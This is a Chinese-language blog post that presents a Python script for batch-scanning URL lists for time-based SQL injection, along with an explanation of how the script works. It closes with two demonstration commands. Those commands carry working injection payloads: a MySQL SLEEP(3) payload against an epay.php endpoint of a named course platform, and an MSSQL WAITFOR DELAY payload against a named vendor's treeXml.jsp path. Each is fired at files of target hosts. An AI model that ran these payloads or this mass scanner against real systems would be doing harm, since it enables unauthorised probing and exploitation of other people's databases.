文章目錄
- 前言
- 批量檢測sql延時注入
- 工作原理
- 腳本演示
前言
SQL延時注入是一種在Web應用程序中利用SQL注入漏洞的技術,當傳統的基于錯誤信息或數據回顯的注入方法不可行時,例如當Web應用進行了安全配置,不顯示任何錯誤信息或敏感數據時,延時注入可以作為一種有效的攻擊手段。
于是我想!寫個腳本來批量掃描豈不美滋滋!
批量檢測sql延時注入
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import http.client
import ssl
import argparse
import time
from urllib.parse import urlparse
from urllib.parse import urlencode# 定義控制臺輸出顏色代碼
# 定義控制臺輸出顏色代碼
RED = '\033[91m'
RESET = '\033[0m'def check_sql_delay_injection(url, path, payload, method):"""檢查給定的URL是否存在SQL延遲注入漏洞。:param url: 目標URL:param path: 注入點:param payload: 測試負載:param method: 傳參方式"""try:# 構造HTTP請求頭headers = {"Content-Type": "application/x-www-form-urlencoded","User-Agent": "Mozilla/5.0"}# 如果是GET請求,將數據附加到URL后面if method.upper() == "GET":url1 = url# 構造用于檢測SQL注入漏洞的URL路徑url += pathurl += "?" + payload # 注意:這里使用?來追加參數# 解析URL,獲取協議、域名和路徑parsed_url = urlparse(url)# 根據URL協議創建HTTP或HTTPS連接if parsed_url.scheme == "https":# 忽略SSL證書驗證conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context())else:conn = http.client.HTTPConnection(parsed_url.netloc)# 記錄請求開始時間start_time = time.time()# 發送GET請求conn.request("GET", url, headers=headers)response = conn.getresponse()# 記錄請求結束時間elapsed_time = time.time() - start_timeelse:url1 = url# 解析URL,獲取協議、域名和路徑parsed_url = urlparse(url)body = payload# 根據URL的協議選擇HTTP或HTTPS連接conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context()) if parsed_url.scheme == "https" else http.client.HTTPConnection(parsed_url.netloc)start_time = time.time()# 發送POST請求conn.request("POST", path, body=body, headers=headers)response = conn.getresponse()# 記錄請求結束時間elapsed_time = time.time() - start_time# 如果響應時間在3到5秒之間,可能存在延遲注入漏洞if 3 <= elapsed_time <= 6:print(f"{RED}URL [{url1}{path}|0.0620] 可能存在SQL延時注入漏洞{RESET}")else:print(f"URL [{url1}{path}|0.0620] 不存在SQL延時注入漏洞")except Exception as e:print(f"URL [{url1}{path}] 請求失敗: {e}")def main():"""程序主入口,負責解析命令行參數并執行漏洞檢查。"""# 創建命令行參數解析器parser = argparse.ArgumentParser(description='檢測目標地址是否存在SQL延時注入漏洞')parser.add_argument('-u', '--url', help='指定目標地址')parser.add_argument('-f', '--file', help='指定包含目標地址的文本文件')parser.add_argument('-p', '--path', default="", help='指定要請求的路徑')parser.add_argument('-pl', '--payload', default="", help='')parser.add_argument('-m', '--method', default="POST", help='請求方法(GET或POST)')# 解析命令行參數args = parser.parse_args()# 如果指定了URL參數if args.url:# 確保URL以http或https開頭if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.url# 執行漏洞檢查check_sql_delay_injection(args.url, args.path, args.payload, args.method)# 如果指定了文件參數elif args.file:# 打開文件并讀取URL列表with open(args.file, 'r') as file:urls = file.read().splitlines()# 遍歷文件中的每個URL進行檢查for url in urls:# 確保URL以http或https開頭dataif not url.startswith("http://") and not url.startswith("https://"):url = "http://" + url# 執行漏洞檢查check_sql_delay_injection(url, args.path, args.payload, args.method)
# 程序入口
if __name__ == '__main__':main()
工作原理
這個Python腳本是一個用于檢測SQL延遲注入漏洞的工具。它通過發送HTTP請求到目標URL,并根據響應時間來判斷是否存在SQL延遲注入的可能性。以下是腳本的工作過程和原理的詳細解釋:
-
導入模塊:腳本開始時導入了所需的模塊,包括
http.client
用于創建HTTP連接,ssl
用于處理HTTPS請求的SSL上下文,argparse
用于解析命令行參數,time
用于測量請求的響應時間,以及urllib.parse
中的urlparse
和urlencode
用于解析和編碼URL。 -
定義顏色代碼:為了在控制臺輸出中使用顏色,腳本定義了兩個變量
RED
和RESET
,分別用于開始和結束紅色文本的輸出。 -
定義檢測函數:
check_sql_delay_injection
函數是腳本的核心,它接收目標URL、注入點、測試負載和傳參方式作為參數。函數內部首先構造HTTP請求頭,然后根據請求方法(GET或POST)來構造請求。 -
GET請求處理:
- 如果請求方法是GET,腳本會將注入點和測試負載附加到URL后面,形成完整的請求URL。
- 使用
urlparse
解析這個URL,獲取協議、域名和路徑。 - 根據URL的協議(http或https),創建相應的HTTP或HTTPS連接。
- 發送GET請求,并測量請求的響應時間。
-
POST請求處理:
- 如果請求方法是POST,腳本會將測試負載作為請求體,并將注入點作為請求路徑。
- 與GET請求類似,根據URL協議創建連接,并發送POST請求。
- 同樣測量請求的響應時間。
-
判斷延遲注入:腳本通過比較響應時間是否在3到6秒之間來判斷是否存在SQL延遲注入漏洞。如果是,腳本會輸出警告信息,指出可能存在漏洞。
-
異常處理:在嘗試發送請求和接收響應的過程中,如果發生任何異常,腳本會捕獲這些異常并輸出錯誤信息。
-
命令行參數解析:
main
函數負責解析命令行參數。用戶可以通過-u/--url
指定單個目標URL,或者通過-f/--file
指定包含多個URL的文件。用戶還可以指定請求路徑(-p/--path
)、測試負載(-pl/--payload
)和請求方法(-m/--method
)。 -
執行檢測:根據用戶提供的參數,腳本會遍歷每個URL并調用
check_sql_delay_injection
函數來執行檢測。 -
程序入口:腳本的標準入口是
if __name__ == '__main__'
部分,它調用main
函數來啟動程序。
這個腳本的原理基于SQL延遲注入漏洞的一個特點,通過構造特殊的SQL語句,使得數據庫在執行時故意延遲,從而推斷出某些信息。通過測量HTTP請求的響應時間,腳本嘗試檢測這種延遲。如果響應時間異常,就可能表明存在SQL延遲注入漏洞。
腳本演示
測試用例1:29網課交單平臺epay.php
SQL注入漏洞
測試命令:
python .\sqltime.py -f .\url-post.txt -p "/epay/epay.php" -pl "out_trade_no=' AND (SELECT 8078 FROM(SELECT(SLEEP(3)))eEcA) AND 'aEmC'='aEmC" -m POST
測試用例2:飛企互聯treeXml.jsp
SQL注入
測試命令:
python .\sqltime.py -f .\url-get.txt -p "/sys/treeXml.js%70" -pl "menuName=1';WAITFOR+DELAY+'0:0:5'--&type=function" -m GET
當人們做不到一些事情的時候,他們會對你說你也同樣不能。